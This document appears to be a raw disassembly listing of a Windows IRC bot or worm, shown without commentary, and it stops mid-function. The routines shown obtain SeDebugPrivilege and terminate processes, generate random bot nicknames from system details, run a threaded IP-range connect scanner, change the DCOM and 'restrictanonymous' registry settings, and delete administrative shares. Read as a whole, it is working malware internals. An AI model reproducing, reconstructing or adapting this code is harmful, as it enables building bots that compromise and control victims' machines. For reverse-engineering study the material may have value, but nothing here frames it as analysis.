mov [ebp+var_14], 1
jz short loc_413C2B
or [ebp+var_8], 2
jmp short loc_413C2F
; ---------------------------------------------------------------------------
loc_413C2B: ; CODE XREF: sub_413BE5+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_413C2F: ; CODE XREF: sub_413BE5+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_43CA90 ; AdjustTokenPrivileges
mov esi, eax
loc_413C42: ; CODE XREF: sub_413BE5+32j
push [ebp+var_4]
call dword_42106C ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_413BE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C50 proc near ; CODE XREF: sub_40CD3A+478Ep
; sub_413DFD+74p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_43CA44, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz short loc_413CF5
cmp dword_43CA28, ebx
jz short loc_413CF5
cmp dword_43C944, ebx
jz short loc_413CF5
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_413BE5
pop ecx
pop ecx
push ebx
push 0Fh
call dword_43CA44 ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz short loc_413CE8
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call dword_43CA28 ; Process32First
mov esi, dword_42106C
test eax, eax
jnz loc_413DAB
loc_413CE3: ; CODE XREF: sub_413C50+173j
push [ebp+var_4]
call esi ; CloseHandle
loc_413CE8: ; CODE XREF: sub_413C50+69j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_413BE5
pop ecx
pop ecx
loc_413CF5: ; CODE XREF: sub_413C50+3Aj
; sub_413C50+42j ...
xor eax, eax
loc_413CF7: ; CODE XREF: sub_413C50+1A8j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_413CFC: ; CODE XREF: sub_413C50+16Dj
cmp [ebp+arg_10], ebx
jnz loc_413DAB
cmp [ebp+arg_C], ebx
jnz loc_413D96
cmp [ebp+arg_4], ebx
jz loc_413DAB
push [ebp+var_124]
push 8
call dword_43CA44 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_413D56
lea eax, [ebp+var_350]
push eax
push edi
call dword_43C8F0 ; Module32First
push [ebp+var_124]
test eax, eax
jz short loc_413D5C
lea eax, [ebp+var_230]
jmp short loc_413D62
; ---------------------------------------------------------------------------
loc_413D56: ; CODE XREF: sub_413C50+E4j
push [ebp+var_124]
loc_413D5C: ; CODE XREF: sub_413C50+FCj
lea eax, [ebp+var_108]
loc_413D62: ; CODE XREF: sub_413C50+104j
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_415316
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
push edi
call esi ; CloseHandle
jmp short loc_413DAB
; ---------------------------------------------------------------------------
loc_413D96: ; CODE XREF: sub_413C50+B8j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_413DC8
loc_413DAB: ; CODE XREF: sub_413C50+8Dj
; sub_413C50+AFj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_43C944 ; Process32Next
test eax, eax
jnz loc_413CFC
jmp loc_413CE3
; ---------------------------------------------------------------------------
loc_413DC8: ; CODE XREF: sub_413C50+159j
push [ebp+var_124]
push ebx
push 1F0FFFh
call dword_42111C ; OpenProcess
push [ebp+var_4]
mov edi, eax
call esi ; CloseHandle
push ebx
push edi
call dword_421140 ; TerminateProcess
test eax, eax
jnz short loc_413DF5
push edi
call esi ; CloseHandle
jmp loc_413CF5
; ---------------------------------------------------------------------------
loc_413DF5: ; CODE XREF: sub_413C50+19Bj
xor eax, eax
inc eax
jmp loc_413CF7
sub_413C50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413DFD proc near ; DATA XREF: sub_40CD3A+5343o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_437B64
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_415316
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_413E5C
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_412BD1
add esp, 14h
loc_413E5C: ; CODE XREF: sub_413DFD+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_413C50
add esp, 18h
test eax, eax
lea eax, [ebp+var_298]
jnz short loc_413E8A
push offset dword_437B28
jmp short loc_413E8F
; ---------------------------------------------------------------------------
loc_413E8A: ; CODE XREF: sub_413DFD+84j
push offset dword_437AF0
loc_413E8F: ; CODE XREF: sub_413DFD+8Bj
push eax
call sub_415316
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_413EBC
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_412BD1
add esp, 14h
loc_413EBC: ; CODE XREF: sub_413DFD+9Dj
lea eax, [ebp+var_298]
push eax
call sub_40B078
push [ebp+var_14]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_413DFD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_413EDB proc near ; CODE XREF: sub_40CD3A+4730p
; sub_414F15+4Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
inc edi
push 0
push 1F0FFFh
call dword_42111C ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_413F0D
push 0
push esi
call dword_421140 ; TerminateProcess
test eax, eax
jnz short loc_413F0D
push esi
xor edi, edi
call dword_42106C ; CloseHandle
loc_413F0D: ; CODE XREF: sub_413EDB+1Aj
; sub_413EDB+27j
mov eax, edi
pop edi
pop esi
retn
sub_413EDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F12 proc near ; CODE XREF: sub_4036BB+Ap
; sub_403C74+16p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_415372
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_421668
call sub_415E24
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_413F12 endp
; =============== S U B R O U T I N E =======================================
sub_413F42 proc near ; CODE XREF: sub_414278+4Ap
; DATA XREF: .text:off_437BB0o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call dword_42104C ; GetTickCount
push eax
call sub_415368
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset dword_42C2E4
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41588A
xor esi, esi
add esp, 10h
cmp dword_42C25C, esi
jle short loc_413F9B
loc_413F75: ; CODE XREF: sub_413F42+57j
call sub_415372
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_437C04
push 1Ch
push edi
call sub_41588A
add esp, 14h
inc esi
cmp esi, dword_42C25C
jl short loc_413F75
loc_413F9B: ; CODE XREF: sub_413F42+31j
mov eax, edi
pop edi
pop esi
retn
sub_413F42 endp
; =============== S U B R O U T I N E =======================================
sub_413FA0 proc near ; CODE XREF: sub_40CD3A+3CBAp
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_42104C ; GetTickCount
push eax
call sub_415368
pop ecx
call sub_415372
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_42C25C
test esi, esi
jle short loc_413FE3
loc_413FCD: ; CODE XREF: sub_413FA0+41j
call sub_415372
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_413FCD
loc_413FE3: ; CODE XREF: sub_413FA0+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_413FA0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov dword ptr [ebp-4], 100h
call dword_42104C ; GetTickCount
push eax
call sub_415368
pop ecx
lea eax, [ebp-4]
mov esi, offset dword_437C0C
push eax
push esi
call dword_42113C ; GetComputerNameA
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41588A
xor esi, esi
add esp, 0Ch
cmp dword_42C25C, esi
jle short loc_414056
loc_414030: ; CODE XREF: .text:00414054j
call sub_415372
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_437C04
push 1Ch
push edi
call sub_41588A
add esp, 14h
inc esi
cmp esi, dword_42C25C
jl short loc_414030
loc_414056: ; CODE XREF: .text:0041402Ej
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_42104C ; GetTickCount
push eax
call sub_415368
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_421144 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_437C10
push 1Ch
push edi
call sub_41588A
xor esi, esi
add esp, 10h
cmp dword_42C25C, esi
jle short loc_4140CB
loc_4140A5: ; CODE XREF: .text:004140C9j
call sub_415372
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_437C04
push 1Ch
push edi
call sub_41588A
add esp, 14h
inc esi
cmp esi, dword_42C25C
jl short loc_4140A5
loc_4140CB: ; CODE XREF: .text:004140A3j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43B658
mov dword ptr [ebp-94h], 94h
call dword_42110C ; GetVersionExA
call dword_42104C ; GetTickCount
push eax
call sub_415368
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_414155
cmp dword ptr [ebp-8Ch], 0
jnz short loc_414135
cmp dword ptr [ebp-84h], 1
jnz short loc_414125
mov esi, offset a95 ; "95"
loc_414125: ; CODE XREF: .text:0041411Ej
cmp dword ptr [ebp-84h], 2
jnz short loc_414191
mov esi, offset aNt ; "NT"
jmp short loc_414191
; ---------------------------------------------------------------------------
loc_414135: ; CODE XREF: .text:00414115j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_414145
mov esi, offset a98 ; "98"
jmp short loc_414191
; ---------------------------------------------------------------------------
loc_414145: ; CODE XREF: .text:0041413Cj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_41418C
mov esi, offset aMe ; "ME"
jmp short loc_414191
; ---------------------------------------------------------------------------
loc_414155: ; CODE XREF: .text:0041410Cj
cmp dword ptr [ebp-90h], 5
jnz short loc_41418C
cmp dword ptr [ebp-8Ch], 0
jnz short loc_41416E
mov esi, offset a2k ; "2K"
jmp short loc_414191
; ---------------------------------------------------------------------------
loc_41416E: ; CODE XREF: .text:00414165j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_41417E
mov esi, offset aXp ; "XP"
jmp short loc_414191
; ---------------------------------------------------------------------------
loc_41417E: ; CODE XREF: .text:00414175j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_437C1C
jz short loc_414191
loc_41418C: ; CODE XREF: .text:0041414Cj
; .text:0041415Cj
mov esi, offset dword_42B868
loc_414191: ; CODE XREF: .text:0041412Cj
; .text:00414133j ...
mov edi, [ebp+8]
push esi
push offset dword_437C14
push 1Ch
push edi
call sub_41588A
xor esi, esi
add esp, 10h
cmp dword_42C25C, esi
jle short loc_4141D5
loc_4141AF: ; CODE XREF: .text:004141D3j
call sub_415372
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_437C04
push 1Ch
push edi
call sub_41588A
add esp, 14h
inc esi
cmp esi, dword_42C25C
jl short loc_4141AF
loc_4141D5: ; CODE XREF: .text:004141ADj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4141DB proc near ; CODE XREF: sub_414278+5Dp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
call dword_43CA30 ; FindWindowA
cmp esi, 64h
jbe short loc_41422A
test eax, eax
mov eax, offset dword_437C28
jnz short loc_414213
mov eax, offset byte_43B658
loc_414213: ; CODE XREF: sub_4141DB+31j
push eax
push esi
push offset dword_437C20
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41588A
add esp, 14h
jmp short loc_414244
; ---------------------------------------------------------------------------
loc_41422A: ; CODE XREF: sub_4141DB+28j
test eax, eax
mov eax, offset dword_437C28
jnz short loc_414238
mov eax, offset byte_43B658
loc_414238: ; CODE XREF: sub_4141DB+56j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_415316
pop ecx
pop ecx
loc_414244: ; CODE XREF: sub_4141DB+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_415B10
pop ecx
cmp eax, 2
pop esi
jbe short loc_414273
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_416DB0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_416BE0
add esp, 18h
loc_414273: ; CODE XREF: sub_4141DB+77j
mov eax, [ebp+arg_0]
leave
retn
sub_4141DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414278 proc near ; CODE XREF: sub_40CA58+7Fp
; sub_40CBBE+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_414281: ; CODE XREF: sub_414278+40j
cmp [ebp+arg_C], 0
jz short loc_41429F
lea eax, dword_437BA0[esi]
push eax
push [ebp+arg_C]
call sub_415730
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_4142AD
; ---------------------------------------------------------------------------
loc_41429F: ; CODE XREF: sub_414278+Dj
mov ecx, dword_437BAC[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_4142AD: ; CODE XREF: sub_414278+25j
test eax, eax
jnz short loc_4142BC
add esi, 14h
inc edi
cmp esi, 64h
jb short loc_414281
jmp short loc_4142CA
; ---------------------------------------------------------------------------
loc_4142BC: ; CODE XREF: sub_414278+37j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_437BB0[eax*4]
pop ecx
loc_4142CA: ; CODE XREF: sub_414278+42j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_4142DD
push [ebp+arg_0]
call sub_4141DB
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4142DD: ; CODE XREF: sub_414278+58j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_414278 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4142E2 proc near ; DATA XREF: sub_4143AF+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 10h
rep movsd
xor esi, esi
push 0
inc esi
mov [eax+0A4h], esi
lea eax, [ebp+var_10]
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_43CA24 ; ntohs
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_43CAA4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4143A0
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43C9CC ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_441BA4[ecx], esi
jz short loc_4143A0
push [ebp+var_34]
push [ebp+var_28]
call dword_43CAB0 ; inet_ntoa
push eax
mov edi, offset dword_46B8D8
push offset unk_437C2C
push edi
call sub_415316
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_412BD1
push edi
call sub_40B078
add esp, 28h
loc_4143A0: ; CODE XREF: sub_4142E2+5Dj
; sub_4142E2+7Ej
push esi
call dword_43CABC ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_4142E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4143AF proc near ; DATA XREF: sub_40CD3A+3410o
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_421060
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_4143DD: ; CODE XREF: sub_4143AF+ECj
push [ebp+var_2C]
push [ebp+var_20]
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_437C68
push eax
call sub_415316
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_441998
push eax
call sub_416BE0
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_4142E2
push edi
push edi
call dword_42108C ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_414449
jmp short loc_414444
; ---------------------------------------------------------------------------
loc_414440: ; CODE XREF: sub_4143AF+98j
push 32h
call esi ; Sleep
loc_414444: ; CODE XREF: sub_4143AF+8Fj
cmp [ebp+var_C], edi
jz short loc_414440
loc_414449: ; CODE XREF: sub_4143AF+8Dj
push [ebp+var_4]
call dword_42106C ; CloseHandle
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4153F0
add esp, 0Ch
push [ebp+arg_0]
call dword_43C958 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43CA20 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_4153F0
add esp, 0Ch
jmp loc_4143DD
sub_4143AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4144A0 proc near ; DATA XREF: sub_40CD3A+5979o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_4144E7
call sub_414500
jmp short loc_4144EC
; ---------------------------------------------------------------------------
loc_4144E7: ; CODE XREF: sub_4144A0+3Ej
call sub_414826
loc_4144EC: ; CODE XREF: sub_4144A0+45j
add esp, 10h
push [ebp+var_14]
call sub_4150F0
pop ecx
push 0
call dword_421048 ; ExitThread
sub_4144A0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414500 proc near ; CODE XREF: sub_4144A0+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_43CAF0, edi
jnz loc_414632
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43CA94 ; RegOpenKeyExA
test eax, eax
jnz short loc_41458B
mov ax, word_438058
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43CA48 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_414573
push offset unk_438014
jmp short loc_414578
; ---------------------------------------------------------------------------
loc_414573: ; CODE XREF: sub_414500+6Aj
push offset dword_437FE4
loc_414578: ; CODE XREF: sub_414500+71j
push eax
call sub_415316
pop ecx
pop ecx
push [ebp+var_4]
call dword_43CA00 ; RegCloseKey
jmp short loc_41459E
; ---------------------------------------------------------------------------
loc_41458B: ; CODE XREF: sub_414500+36j
lea eax, [ebp+var_214]
push offset unk_437FA0
push eax
call sub_415316
pop ecx
pop ecx
loc_41459E: ; CODE XREF: sub_414500+89j
cmp [ebp+arg_C], edi
jnz short loc_4145BD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_4145BD: ; CODE XREF: sub_414500+A1j
lea eax, [ebp+var_214]
push eax
call sub_40B078
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43CA94 ; RegOpenKeyExA
test eax, eax
jnz short loc_41462B
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_43CA48 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_414613
push offset unk_437F38
jmp short loc_414618
; ---------------------------------------------------------------------------
loc_414613: ; CODE XREF: sub_414500+10Aj
push offset unk_437EF0
loc_414618: ; CODE XREF: sub_414500+111j
push eax
call sub_415316
pop ecx
pop ecx
push [ebp+var_4]
call dword_43CA00 ; RegCloseKey
jmp short loc_414645
; ---------------------------------------------------------------------------
loc_41462B: ; CODE XREF: sub_414500+E2j
push offset unk_437EA0
jmp short loc_414637
; ---------------------------------------------------------------------------
loc_414632: ; CODE XREF: sub_414500+13j
push offset unk_437E58
loc_414637: ; CODE XREF: sub_414500+130j
lea eax, [ebp+var_214]
push eax
call sub_415316
pop ecx
pop ecx
loc_414645: ; CODE XREF: sub_414500+129j
cmp [ebp+arg_C], edi
jnz short loc_414664
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414664: ; CODE XREF: sub_414500+148j
lea eax, [ebp+var_214]
push eax
call sub_40B078
cmp dword_43CB18, edi
pop ecx
jnz loc_4147E1
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_414687: ; CODE XREF: sub_414500+2C5j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_43C970
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_414726
cmp eax, 0EAh
jz short loc_414726
xor esi, esi
loc_4146B5: ; CODE XREF: sub_414500+21Fj
push off_437CA8[esi]
push edi
call sub_413225
pop ecx
pop ecx
push off_437CA8[esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_4146DA
push offset unk_437E20
jmp short loc_4146DF
; ---------------------------------------------------------------------------
loc_4146DA: ; CODE XREF: sub_414500+1D1j
push offset unk_437DE0
loc_4146DF: ; CODE XREF: sub_414500+1D8j
push 200h
push eax
call sub_41588A
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41470C
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_41470C: ; CODE XREF: sub_414500+1F0j
lea eax, [ebp+var_214]
push eax
call sub_40B078
add esi, 8
pop ecx
cmp esi, 20h
jb short loc_4146B5
jmp loc_4147BE
; ---------------------------------------------------------------------------
loc_414726: ; CODE XREF: sub_414500+1AAj
; sub_414500+1B1j
mov esi, [ebp+var_8]
xor ebx, ebx
inc ebx
cmp [ebp+var_4], ebx
jb loc_4147B5
loc_414735: ; CODE XREF: sub_414500+2B1j
mov edi, [esi]
push edi
call sub_4179FC
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_4147AA
push edi
call sub_413112
push eax
push 0
call sub_413225
add esp, 0Ch
push dword ptr [esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41476A
push offset unk_437DA8
jmp short loc_41476F
; ---------------------------------------------------------------------------
loc_41476A: ; CODE XREF: sub_414500+261j
push offset unk_437D68
loc_41476F: ; CODE XREF: sub_414500+268j
push 200h
push eax
call sub_41588A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41479D
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_41479D: ; CODE XREF: sub_414500+281j
lea eax, [ebp+var_214]
push eax
call sub_40B078
pop ecx
loc_4147AA: ; CODE XREF: sub_414500+244j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_414735
xor edi, edi
loc_4147B5: ; CODE XREF: sub_414500+22Fj
push [ebp+var_8]
call dword_43CAB4
loc_4147BE: ; CODE XREF: sub_414500+221j
cmp [ebp+var_10], 0EAh
jz loc_414687
lea eax, [ebp+var_214]
push offset unk_437D2C
push eax
call sub_415316
pop ecx
pop ecx
pop ebx
jmp short loc_4147F4
; ---------------------------------------------------------------------------
loc_4147E1: ; CODE XREF: sub_414500+177j
lea eax, [ebp+var_214]
push offset unk_437CE8
push eax
call sub_415316
pop ecx
pop ecx
loc_4147F4: ; CODE XREF: sub_414500+2DFj
cmp [ebp+arg_C], edi
jnz short loc_414812
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414812: ; CODE XREF: sub_414500+2F7j
lea eax, [ebp+var_214]
push eax
call sub_40B078
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_414500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414826 proc near ; CODE XREF: sub_4144A0:loc_4144E7p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_43CAF0, ebx
push esi
jnz loc_414954
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43CA94 ; RegOpenKeyExA
test eax, eax
jnz short loc_4148B1
mov ax, word_438260
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
